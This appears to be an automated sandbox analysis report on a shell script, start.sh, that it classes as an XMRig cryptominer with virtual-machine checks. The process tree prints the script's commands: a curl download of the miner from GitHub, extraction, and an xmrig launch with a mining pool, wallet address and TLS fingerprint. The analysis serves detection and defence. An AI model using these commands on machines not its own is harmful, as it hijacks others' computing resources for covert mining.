Overview

overview

10

Static

static

1

start.sh

ubuntu-18.04-amd64

10

start.sh

ubuntu-20.04-amd64

10

Analysis

  • max time kernel
    1799s
  • max time network
    1779s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240226-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240226-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    20-03-2024 21:42

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    start.sh

  • Size

    587B

  • MD5

    60908850cbaa3ea10f537854675c5017

  • SHA1

    ff4713b46e81dbe16a83efd12b0c274ee8f84893

  • SHA256

    3a9ef4c00e2aa7392ee7694a97369c4704a2558c5e3f60d0d4c08d85edb40415

  • SHA512

    eec5e1b0c381b01b1866925dd5f593ed658215ca88cf9d3eee711e96d6617434896cf12b297e81fbc2e42eb01a474ff92473ac43ad639f23a515a5958084c407

Score
10/10
xmrig_linuxantivmminer

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 45 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Enumerates kernel/hardware configuration 1 TTPs 23 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 7 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/start.sh
    /tmp/start.sh
    1⤵
      PID:1542
      • /usr/bin/curl
        curl -L https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-static-x64.tar.gz -o xmrig-6.21.1-linux-static-x64.tar.gz
        2⤵
        • Writes file to tmp directory
        PID:1543
      • /bin/tar
        tar -xvf xmrig-6.21.1-linux-static-x64.tar.gz
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:1549
        • /usr/local/sbin/gzip
          gzip -d
          3⤵
            PID:1550
          • /usr/local/bin/gzip
            gzip -d
            3⤵
              PID:1550
            • /usr/sbin/gzip
              gzip -d
              3⤵
                PID:1550
              • /usr/bin/gzip
                gzip -d
                3⤵
                  PID:1550
                • /sbin/gzip
                  gzip -d
                  3⤵
                    PID:1550
                  • /bin/gzip
                    gzip -d
                    3⤵
                      PID:1550
                  • /tmp/xmrig-6.21.1/xmrig
                    ./xmrig --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
                    2⤵
                    • Executes dropped EXE
                    • Checks CPU configuration
                    • Checks hardware identifiers (DMI)
                    • Reads CPU attributes
                    • Reads hardware information
                    • Enumerates kernel/hardware configuration
                    • Reads runtime system information
                    PID:1551

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/xmrig-6.21.1-linux-static-x64.tar.gz
                  Filesize

                  60KB

                  MD5

                  6c89d389c0a054d52c46adc4368131dc

                  SHA1

                  5d748b2b9b3f35fb33e1773e64c5c81e5645440f

                  SHA256

                  e03d1df70747c958d36328e45e03542b22013d79ca6e426d4a76a50202774c83

                  SHA512

                  e8ab59389ccc94dbdb1fbac0c7dfe2495c5367f8b80b5b4ae7b4c0f83bd6233d6a37ee61f039da1a5e58676629ae70eb58728378504bdc7eaa3fc6108118368e

                  Download Submit

                • /tmp/xmrig-6.21.1/SHA256SUMS
                  Filesize

                  150B

                  MD5

                  aa5b108a656f868047990ffe924da82b

                  SHA1

                  118a8199507eb3eb40c03520b5b3b774e86cb40b

                  SHA256

                  0cd87c42d76e181e459e855fa1be19a8ba0add9378aa25cfa70c815c9b0967dd

                  SHA512

                  9fc3807efbb407163322bfcdd4415c114013bd2a8f89daca715b2cca2514e9d6f404d42bfd76c141784c64f4594e6bbf4c6551a58691eb961bc6740e15d1800d

                  Download Submit

                • /tmp/xmrig-6.21.1/config.json
                  Filesize

                  2KB

                  MD5

                  66f38c96a4901e7b345787c447842b3e

                  SHA1

                  2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

                  SHA256

                  2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

                  SHA512

                  71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

                  Download Submit

                • /tmp/xmrig-6.21.1/xmrig
                  Filesize

                  6.7MB

                  MD5

                  42b4ab949ed1b9b07f88c22d79a4df2e

                  SHA1

                  bd1ec0bbc78116e778bef981344ea3487de52443

                  SHA256

                  6b69a13358cb8c9b569711fc266b6f41cbadbc6c58a15936a4b3e717323a1f5b

                  SHA512

                  32df2d542aa5b73417f1e10f2ccd067435bd1c0f6e0f8d131624c3a919ca8e23f8a37a7296e986e70a6a1d9f05197e46bda770ea8498a9aff71a037636707017

                  Download Submit